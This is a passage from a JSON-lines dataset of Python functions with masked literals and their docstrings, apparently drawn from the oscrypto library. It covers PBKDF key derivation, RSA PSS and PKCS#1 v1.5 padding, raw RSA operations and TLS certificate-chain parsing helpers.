key_length)<EOL>observed_ms = _get_elapsed(start)<EOL>if not quiet:<EOL><INDENT>print('<STR_LIT>' % (iterations, observed_ms))<EOL><DEDENT>return <NUM_LIT:1.0> / target_ms * observed_ms<EOL><DEDENT>fraction = _measure()<EOL>iterations = int(iterations / fraction / <NUM_LIT>)<EOL>fraction = _measure()<EOL>iterations = iterations / fraction<EOL>round_factor = -<NUM_LIT:3> if iterations < <NUM_LIT> else -<NUM_LIT:4><EOL>result = int(round(iterations, round_factor))<EOL>if result > <NUM_LIT>:<EOL><INDENT>result = (result // <NUM_LIT>) * <NUM_LIT><EOL><DEDENT>return result<EOL>", "docstring": "Runs pbkdf2() twice to determine the approximate number of iterations to\nuse to hit a desired time per run. Use this on a production machine to\ndynamically adjust the number of iterations as high as you can.\n\n:param hash_algorithm:\n    The string name of the hash algorithm to use: \"md5\", \"sha1\", \"sha224\",\n    \"sha256\", \"sha384\", \"sha512\"\n\n:param key_length:\n    The length of the desired key in bytes\n\n:param target_ms:\n    The number of milliseconds the derivation should take\n\n:param quiet:\n    If no output should be printed as attempts are made\n\n:return:\n    An integer number of iterations of PBKDF2 using the specified hash\n    that will take at least target_ms", "id": "f9517:m0"}
{"signature": "def pbkdf1(hash_algorithm, password, salt, iterations, key_length):", "body": "if not isinstance(password, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>(type_name(password))<EOL>))<EOL><DEDENT>if not isinstance(salt, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>(type_name(salt))<EOL>))<EOL><DEDENT>if not isinstance(iterations, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>(type_name(iterations))<EOL>))<EOL><DEDENT>if iterations < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(iterations)<EOL>))<EOL><DEDENT>if not isinstance(key_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>(type_name(key_length))<EOL>))<EOL><DEDENT>if key_length < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(key_length)<EOL>))<EOL><DEDENT>if hash_algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>if key_length > <NUM_LIT:16> and hash_algorithm in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>(hash_algorithm, repr(key_length))<EOL>))<EOL><DEDENT>if key_length > <NUM_LIT:20> and hash_algorithm == '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(key_length)<EOL>))<EOL><DEDENT>algo = getattr(hashlib, hash_algorithm)<EOL>output = algo(password + salt).digest()<EOL>for _ in range(<NUM_LIT:2>, iterations + <NUM_LIT:1>):<EOL><INDENT>output = algo(output).digest()<EOL><DEDENT>return output[:key_length]<EOL>", "docstring": "An implementation of PBKDF1 - should only be used for interop with legacy\nsystems, not new architectures\n\n:param hash_algorithm:\n    The string name of the hash algorithm to use: \"md2\", \"md5\", \"sha1\"\n\n:param password:\n    A byte string of the password to use an input to the KDF\n\n:param salt:\n    A cryptographic random byte string\n\n:param iterations:\n    The numbers of iterations to use when deriving the key\n\n:param key_length:\n    The length of the desired key in bytes\n\n:return:\n    The derived key as a byte string", "id": "f9517:m1"}
{"signature": "def _is_osx_107():", "body": "if sys.platform != '<STR_LIT>':<EOL><INDENT>return False<EOL><DEDENT>version = platform.mac_ver()[<NUM_LIT:0>]<EOL>return tuple(map(int, version.split('<STR_LIT:.>')))[<NUM_LIT:0>:<NUM_LIT:2>] == (<NUM_LIT:10>, <NUM_LIT:7>)<EOL>", "docstring": ":return:\n    A bool if the current machine is running OS X 10.7", "id": "f9518:m0"}
{"signature": "def add_pss_padding(hash_algorithm, salt_length, key_length, message):", "body": "if _backend != '<STR_LIT>' and sys.platform != '<STR_LIT>':<EOL><INDENT>raise SystemError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>if not isinstance(message, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(message)<EOL>))<EOL><DEDENT>if not isinstance(salt_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(salt_length)<EOL>))<EOL><DEDENT>if salt_length < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(salt_length)<EOL>))<EOL><DEDENT>if not isinstance(key_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key_length)<EOL>))<EOL><DEDENT>if key_length < <NUM_LIT>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(key_length)<EOL>))<EOL><DEDENT>if hash_algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>hash_func = getattr(hashlib, hash_algorithm)<EOL>em_bits = key_length - <NUM_LIT:1><EOL>em_len = int(math.ceil(em_bits / <NUM_LIT:8>))<EOL>message_digest = hash_func(message).digest()<EOL>hash_length = len(message_digest)<EOL>if em_len < hash_length + salt_length + <NUM_LIT:2>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>if salt_length > <NUM_LIT:0>:<EOL><INDENT>salt = os.urandom(salt_length)<EOL><DEDENT>else:<EOL><INDENT>salt = b'<STR_LIT>'<EOL><DEDENT>m_prime = (b'<STR_LIT:\\x00>' * <NUM_LIT:8>) + message_digest + salt<EOL>m_prime_digest = hash_func(m_prime).digest()<EOL>padding = b'<STR_LIT:\\x00>' * (em_len - salt_length - hash_length - <NUM_LIT:2>)<EOL>db = padding + b'<STR_LIT>' + salt<EOL>db_mask = _mgf1(hash_algorithm, m_prime_digest, em_len - hash_length - <NUM_LIT:1>)<EOL>masked_db = int_to_bytes(int_from_bytes(db) ^ int_from_bytes(db_mask))<EOL>masked_db = fill_width(masked_db, len(db_mask))<EOL>zero_bits = (<NUM_LIT:8> * em_len) - em_bits<EOL>left_bit_mask = ('<STR_LIT:0>' * zero_bits) + ('<STR_LIT:1>' * (<NUM_LIT:8> - zero_bits))<EOL>left_int_mask = int(left_bit_mask, <NUM_LIT:2>)<EOL>if left_int_mask != <NUM_LIT:255>:<EOL><INDENT>masked_db = chr_cls(left_int_mask & ord(masked_db[<NUM_LIT:0>:<NUM_LIT:1>])) + masked_db[<NUM_LIT:1>:]<EOL><DEDENT>return masked_db + m_prime_digest + b'<STR_LIT>'<EOL>", "docstring": "Pads a byte string using the EMSA-PSS-Encode operation described in PKCS#1\nv2.2.\n\n:param hash_algorithm:\n    The string name of the hash algorithm to use: \"sha1\", \"sha224\",\n    \"sha256\", \"sha384\", \"sha512\"\n\n:param salt_length:\n    The length of the salt as an integer - typically the same as the length\n    of the output from the hash_algorithm\n\n:param key_length:\n    The length of the RSA key, in bits\n\n:param message:\n    A byte string of the message to pad\n\n:return:\n    The encoded (passed) message", "id": "f9518:m1"}
{"signature": "def verify_pss_padding(hash_algorithm, salt_length, key_length, message, signature):", "body": "if _backend != '<STR_LIT>' and sys.platform != '<STR_LIT>':<EOL><INDENT>raise SystemError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>if not isinstance(message, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(message)<EOL>))<EOL><DEDENT>if not isinstance(signature, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(signature)<EOL>))<EOL><DEDENT>if not isinstance(salt_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(salt_length)<EOL>))<EOL><DEDENT>if salt_length < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(salt_length)<EOL>))<EOL><DEDENT>if hash_algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>hash_func = getattr(hashlib, hash_algorithm)<EOL>em_bits = key_length - <NUM_LIT:1><EOL>em_len = int(math.ceil(em_bits / <NUM_LIT:8>))<EOL>message_digest = hash_func(message).digest()<EOL>hash_length = len(message_digest)<EOL>if em_len < hash_length + salt_length + <NUM_LIT:2>:<EOL><INDENT>return False<EOL><DEDENT>if signature[-<NUM_LIT:1>:] != b'<STR_LIT>':<EOL><INDENT>return False<EOL><DEDENT>zero_bits = (<NUM_LIT:8> * em_len) - em_bits<EOL>masked_db_length = em_len - hash_length - <NUM_LIT:1><EOL>masked_db = signature[<NUM_LIT:0>:masked_db_length]<EOL>first_byte = ord(masked_db[<NUM_LIT:0>:<NUM_LIT:1>])<EOL>bits_that_should_be_zero = first_byte >> (<NUM_LIT:8> - zero_bits)<EOL>if bits_that_should_be_zero != <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>m_prime_digest = signature[masked_db_length:masked_db_length + hash_length]<EOL>db_mask = _mgf1(hash_algorithm, m_prime_digest, em_len - hash_length - <NUM_LIT:1>)<EOL>left_bit_mask = ('<STR_LIT:0>' * zero_bits) + ('<STR_LIT:1>' * (<NUM_LIT:8> - zero_bits))<EOL>left_int_mask = int(left_bit_mask, <NUM_LIT:2>)<EOL>if left_int_mask != <NUM_LIT:255>:<EOL><INDENT>db_mask = chr_cls(left_int_mask & ord(db_mask[<NUM_LIT:0>:<NUM_LIT:1>])) + db_mask[<NUM_LIT:1>:]<EOL><DEDENT>db = int_to_bytes(int_from_bytes(masked_db) ^ int_from_bytes(db_mask))<EOL>if len(db) < len(masked_db):<EOL><INDENT>db = (b'<STR_LIT:\\x00>' * (len(masked_db) - len(db))) + db<EOL><DEDENT>zero_length = em_len - hash_length - salt_length - <NUM_LIT:2><EOL>zero_string = b'<STR_LIT:\\x00>' * zero_length<EOL>if not constant_compare(db[<NUM_LIT:0>:zero_length], zero_string):<EOL><INDENT>return False<EOL><DEDENT>if db[zero_length:zero_length + <NUM_LIT:1>] != b'<STR_LIT>':<EOL><INDENT>return False<EOL><DEDENT>salt = db[<NUM_LIT:0> - salt_length:]<EOL>m_prime = (b'<STR_LIT:\\x00>' * <NUM_LIT:8>) + message_digest + salt<EOL>h_prime = hash_func(m_prime).digest()<EOL>return constant_compare(m_prime_digest, h_prime)<EOL>", "docstring": "Verifies the PSS padding on an encoded message\n\n:param hash_algorithm:\n    The string name of the hash algorithm to use: \"sha1\", \"sha224\",\n    \"sha256\", \"sha384\", \"sha512\"\n\n:param salt_length:\n    The length of the salt as an integer - typically the same as the length\n    of the output from the hash_algorithm\n\n:param key_length:\n    The length of the RSA key, in bits\n\n:param message:\n    A byte string of the message to pad\n\n:param signature:\n    The signature to verify\n\n:return:\n    A boolean indicating if the signature is invalid", "id": "f9518:m2"}
{"signature": "def _mgf1(hash_algorithm, seed, mask_length):", "body": "if not isinstance(seed, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(seed)<EOL>))<EOL><DEDENT>if not isinstance(mask_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(mask_length)<EOL>))<EOL><DEDENT>if mask_length < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(mask_length)<EOL>))<EOL><DEDENT>if hash_algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>output = b'<STR_LIT>'<EOL>hash_length = {<EOL>'<STR_LIT>': <NUM_LIT:20>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:32>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:64><EOL>}[hash_algorithm]<EOL>iterations = int(math.ceil(mask_length / hash_length))<EOL>pack = struct.Struct(b'<STR_LIT>').pack<EOL>hash_func = getattr(hashlib, hash_algorithm)<EOL>for counter in range(<NUM_LIT:0>, iterations):<EOL><INDENT>b = pack(counter)<EOL>output += hash_func(seed + b).digest()<EOL><DEDENT>return output[<NUM_LIT:0>:mask_length]<EOL>", "docstring": "The PKCS#1 MGF1 mask generation algorithm\n\n:param hash_algorithm:\n    The string name of the hash algorithm to use: \"sha1\", \"sha224\",\n    \"sha256\", \"sha384\", \"sha512\"\n\n:param seed:\n    A byte string to use as the seed for the mask\n\n:param mask_length:\n    The desired mask length, as an integer\n\n:return:\n    A byte string of the mask", "id": "f9518:m3"}
{"signature": "def add_pkcs1v15_signature_padding(key_length, data):", "body": "if _backend != '<STR_LIT>':<EOL><INDENT>raise SystemError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>return _add_pkcs1v15_padding(key_length, data, '<STR_LIT>')<EOL>", "docstring": "Adds PKCS#1 v1.5 padding to a message to be signed\n\n:param key_length:\n    An integer of the number of bytes in the key\n\n:param data:\n    A byte string to pad\n\n:return:\n    The padded data as a byte string", "id": "f9518:m4"}
{"signature": "def remove_pkcs1v15_signature_padding(key_length, data):", "body": "if _backend != '<STR_LIT>':<EOL><INDENT>raise SystemError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>return _remove_pkcs1v15_padding(key_length, data, '<STR_LIT>')<EOL>", "docstring": "Removes PKCS#1 v1.5 padding from a signed message using constant time\noperations\n\n:param key_length:\n    An integer of the number of bytes in the key\n\n:param data:\n    A byte string to unpad\n\n:return:\n    The unpadded data as a byte string", "id": "f9518:m5"}
{"signature": "def remove_pkcs1v15_encryption_padding(key_length, data):", "body": "if not _is_osx_107():<EOL><INDENT>raise SystemError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>return _remove_pkcs1v15_padding(key_length, data, '<STR_LIT>')<EOL>", "docstring": "Removes PKCS#1 v1.5 padding from a decrypted message using constant time\noperations\n\n:param key_length:\n    An integer of the number of bytes in the key\n\n:param data:\n    A byte string to unpad\n\n:return:\n    The unpadded data as a byte string", "id": "f9518:m6"}
{"signature": "def _add_pkcs1v15_padding(key_length, data, operation):", "body": "if operation == '<STR_LIT>':<EOL><INDENT>second_byte = b'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>second_byte = b'<STR_LIT>'<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if not isinstance(key_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key_length)<EOL>))<EOL><DEDENT>if key_length < <NUM_LIT:64>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(key_length)<EOL>))<EOL><DEDENT>if len(data) > key_length - <NUM_LIT:11>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>key_length - <NUM_LIT:11>,<EOL>len(data)<EOL>))<EOL><DEDENT>required_bytes = key_length - <NUM_LIT:3> - len(data)<EOL>padding = b'<STR_LIT>'<EOL>while required_bytes > <NUM_LIT:0>:<EOL><INDENT>temp_padding = rand_bytes(required_bytes)<EOL>temp_padding = b'<STR_LIT>'.join(temp_padding.split(b'<STR_LIT:\\x00>'))<EOL>padding += temp_padding<EOL>required_bytes -= len(temp_padding)<EOL><DEDENT>return b'<STR_LIT:\\x00>' + second_byte + padding + b'<STR_LIT:\\x00>' + data<EOL>", "docstring": "Adds PKCS#1 v1.5 padding to a message\n\n:param key_length:\n    An integer of the number of bytes in the key\n\n:param data:\n    A byte string to unpad\n\n:param operation:\n    A unicode string of \"encrypting\" or \"signing\"\n\n:return:\n    The padded data as a byte string", "id": "f9518:m7"}
{"signature": "def _remove_pkcs1v15_padding(key_length, data, operation):", "body": "if operation == '<STR_LIT>':<EOL><INDENT>second_byte = <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>second_byte = <NUM_LIT:1><EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if not isinstance(key_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key_length)<EOL>))<EOL><DEDENT>if key_length < <NUM_LIT:64>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(key_length)<EOL>))<EOL><DEDENT>if len(data) != key_length:<EOL><INDENT>raise ValueError('<STR_LIT>' % operation)<EOL><DEDENT>error = <NUM_LIT:0><EOL>trash = <NUM_LIT:0><EOL>padding_end = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>, len(data)):<EOL><INDENT>byte = data[i:i + <NUM_LIT:1>]<EOL>byte_num = ord(byte)<EOL>if i == <NUM_LIT:0>:<EOL><INDENT>error |= byte_num<EOL><DEDENT>elif i == <NUM_LIT:1>:<EOL><INDENT>error |= int((byte_num | second_byte) != second_byte)<EOL><DEDENT>elif i < <NUM_LIT:10>:<EOL><INDENT>error |= int((byte_num ^ <NUM_LIT:0>) == <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>non_zero = byte_num | <NUM_LIT:0><EOL>if padding_end == <NUM_LIT:0>:<EOL><INDENT>if non_zero:<EOL><INDENT>trash |= i<EOL><DEDENT>else:<EOL><INDENT>padding_end |= i<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if non_zero:<EOL><INDENT>trash |= i<EOL><DEDENT>else:<EOL><INDENT>trash |= i<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if error != <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>' % operation)<EOL><DEDENT>return data[padding_end + <NUM_LIT:1>:]<EOL>", "docstring": "Removes PKCS#1 v1.5 padding from a message using constant time operations\n\n:param key_length:\n    An integer of the number of bytes in the key\n\n:param data:\n    A byte string to unpad\n\n:param operation:\n    A unicode string of \"decrypting\" or \"verifying\"\n\n:return:\n    The unpadded data as a byte string", "id": "f9518:m8"}
{"signature": "def raw_rsa_private_crypt(private_key, data):", "body": "if _backend != '<STR_LIT>':<EOL><INDENT>raise SystemError('<STR_LIT>')<EOL><DEDENT>if not hasattr(private_key, '<STR_LIT>') or not isinstance(private_key.asn1, PrivateKeyInfo):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(private_key)<EOL>))<EOL><DEDENT>algo = private_key.asn1['<STR_LIT>']['<STR_LIT>'].native<EOL>if algo != '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>algo.upper()<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>rsa_private_key = private_key.asn1['<STR_LIT>'].parsed<EOL>transformed_int = pow(<EOL>int_from_bytes(data),<EOL>rsa_private_key['<STR_LIT>'].native,<EOL>rsa_private_key['<STR_LIT>'].native<EOL>)<EOL>return int_to_bytes(transformed_int, width=private_key.asn1.byte_size)<EOL>", "docstring": "Performs a raw RSA algorithm in a byte string using a private key.\nThis is a low-level primitive and is prone to disastrous results if used\nincorrectly.\n\n:param private_key:\n    An oscrypto.asymmetric.PrivateKey object\n\n:param data:\n    A byte string of the plaintext to be signed or ciphertext to be\n    decrypted. Must be less than or equal to the length of the private key.\n    In the case of signing, padding must already be applied. In the case of\n    decryption, padding must be removed afterward.\n\n:return:\n    A byte string of the transformed data", "id": "f9518:m9"}
{"signature": "def raw_rsa_public_crypt(certificate_or_public_key, data):", "body": "if _backend != '<STR_LIT>':<EOL><INDENT>raise SystemError('<STR_LIT>')<EOL><DEDENT>has_asn1 = hasattr(certificate_or_public_key, '<STR_LIT>')<EOL>valid_types = (PublicKeyInfo, Certificate)<EOL>if not has_asn1 or not isinstance(certificate_or_public_key.asn1, valid_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(certificate_or_public_key)<EOL>))<EOL><DEDENT>algo = certificate_or_public_key.asn1['<STR_LIT>']['<STR_LIT>'].native<EOL>if algo != '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>algo.upper()<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>rsa_public_key = certificate_or_public_key.asn1['<STR_LIT>'].parsed<EOL>transformed_int = pow(<EOL>int_from_bytes(data),<EOL>rsa_public_key['<STR_LIT>'].native,<EOL>rsa_public_key['<STR_LIT>'].native<EOL>)<EOL>return int_to_bytes(<EOL>transformed_int,<EOL>width=certificate_or_public_key.asn1.byte_size<EOL>)<EOL>", "docstring": "Performs a raw RSA algorithm in a byte string using a certificate or\npublic key. This is a low-level primitive and is prone to disastrous results\nif used incorrectly.\n\n:param certificate_or_public_key:\n    An oscrypto.asymmetric.PublicKey or oscrypto.asymmetric.Certificate\n    object\n\n:param data:\n    A byte string of the signature when verifying, or padded plaintext when\n    encrypting. Must be less than or equal to the length of the public key.\n    When verifying, padding will need to be removed afterwards. When\n    encrypting, padding must be applied before.\n\n:return:\n    A byte string of the transformed data", "id": "f9518:m10"}
{"signature": "def type_name(value):", "body": "if inspect.isclass(value):<EOL><INDENT>cls = value<EOL><DEDENT>else:<EOL><INDENT>cls = value.__class__<EOL><DEDENT>if cls.__module__ in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>return cls.__name__<EOL><DEDENT>return '<STR_LIT>' % (cls.__module__, cls.__name__)<EOL>", "docstring": "Returns a user-readable name for the type of an object\n\n:param value:\n    A value to get the type name of\n\n:return:\n    A unicode string of the object's type name", "id": "f9519:m0"}
{"signature": "def rand_bytes(length):", "body": "if not isinstance(length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(length)<EOL>))<EOL><DEDENT>if length < <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if length > <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return os.urandom(length)<EOL>", "docstring": "Returns a number of random bytes suitable for cryptographic purposes\n\n:param length:\n    The desired number of bytes\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by OpenSSL\n\n:return:\n    A byte string", "id": "f9520:m0"}
{"signature": "def pbkdf2(hash_algorithm, password, salt, iterations, key_length):", "body": "if not isinstance(password, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(password)<EOL>))<EOL><DEDENT>if not isinstance(salt, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(salt)<EOL>))<EOL><DEDENT>if not isinstance(iterations, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(iterations)<EOL>))<EOL><DEDENT>if iterations < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(iterations)<EOL>))<EOL><DEDENT>if not isinstance(key_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key_length)<EOL>))<EOL><DEDENT>if key_length < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(key_length)<EOL>))<EOL><DEDENT>if hash_algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>algo = getattr(hashlib, hash_algorithm)<EOL>hash_length = {<EOL>'<STR_LIT>': <NUM_LIT:16>,<EOL>'<STR_LIT>': <NUM_LIT:20>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:32>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:64><EOL>}[hash_algorithm]<EOL>blocks = int(math.ceil(key_length / hash_length))<EOL>original_hmac = hmac.new(password, None, algo)<EOL>int_pack = struct.Struct(b'<STR_LIT>').pack<EOL>output = b'<STR_LIT>'<EOL>for block in range(<NUM_LIT:1>, blocks + <NUM_LIT:1>):<EOL><INDENT>prf = original_hmac.copy()<EOL>prf.update(salt + int_pack(block))<EOL>last = prf.digest()<EOL>u = int_from_bytes(last)<EOL>for _ in range(<NUM_LIT:2>, iterations + <NUM_LIT:1>):<EOL><INDENT>prf = original_hmac.copy()<EOL>prf.update(last)<EOL>last = prf.digest()<EOL>u ^= int_from_bytes(last)<EOL><DEDENT>t = int_to_bytes(u)<EOL>output += t<EOL><DEDENT>return output[<NUM_LIT:0>:key_length]<EOL>", "docstring": "Implements PBKDF2 from PKCS#5 v2.2 in pure Python\n\n:param hash_algorithm:\n    The string name of the hash algorithm to use: \"md5\", \"sha1\", \"sha224\",\n    \"sha256\", \"sha384\", \"sha512\"\n\n:param password:\n    A byte string of the password to use an input to the KDF\n\n:param salt:\n    A cryptographic random byte string\n\n:param iterations:\n    The numbers of iterations to use when deriving the key\n\n:param key_length:\n    The length of the desired key in bytes\n\n:return:\n    The derived key as a byte string", "id": "f9521:m0"}
{"signature": "def pretty_message(string, *params):", "body": "output = textwrap.dedent(string)<EOL>if output.find('<STR_LIT:\\n>') != -<NUM_LIT:1>:<EOL><INDENT>output = re.sub('<STR_LIT>', '<STR_LIT:U+0020>', output)<EOL><DEDENT>if params:<EOL><INDENT>output = output % params<EOL><DEDENT>output = output.strip()<EOL>return output<EOL>", "docstring": "Takes a multi-line string and does the following:\n\n - dedents\n - converts newlines with text before and after into a single line\n - strips leading and trailing whitespace\n\n:param string:\n    The string to format\n\n:param *params:\n    Params to interpolate into the string\n\n:return:\n    The formatted string", "id": "f9523:m0"}
{"signature": "def extract_chain(server_handshake_bytes):", "body": "output = []<EOL>chain_bytes = None<EOL>for record_type, _, record_data in parse_tls_records(server_handshake_bytes):<EOL><INDENT>if record_type != b'<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>for message_type, message_data in parse_handshake_messages(record_data):<EOL><INDENT>if message_type == b'<STR_LIT>':<EOL><INDENT>chain_bytes = message_data<EOL>break<EOL><DEDENT><DEDENT>if chain_bytes:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if chain_bytes:<EOL><INDENT>pointer = <NUM_LIT:3><EOL>while pointer < len(chain_bytes):<EOL><INDENT>cert_length = int_from_bytes(chain_bytes[pointer:pointer + <NUM_LIT:3>])<EOL>cert_start = pointer + <NUM_LIT:3><EOL>cert_end = cert_start + cert_length<EOL>pointer = cert_end<EOL>cert_bytes = chain_bytes[cert_start:cert_end]<EOL>output.append(Certificate.load(cert_bytes))<EOL><DEDENT><DEDENT>return output<EOL>", "docstring": "Extracts the X.509 certificates from the server handshake bytes for use\nwhen debugging\n\n:param server_handshake_bytes:\n    A byte string of the handshake data received from the server\n\n:return:\n    A list of asn1crypto.x509.Certificate objects", "id": "f9524:m0"}
{"signature": "def detect_client_auth_request(server_handshake_bytes):", "body": "for record_type, _, record_data in parse_tls_records(server_handshake_bytes):<EOL><INDENT>if record_type != b'<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>for message_type, message_data in parse_handshake_messages(record_data):<EOL><INDENT>if message_type == b'<STR_LIT>':<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Determines if a CertificateRequest message is sent from the server asking\nthe client for a certificate\n\n:param server_handshake_bytes:\n    A byte string of the handshake data received from the server\n\n:return:\n    A boolean - if a client certificate request was found", "id": "f9524:m1"}
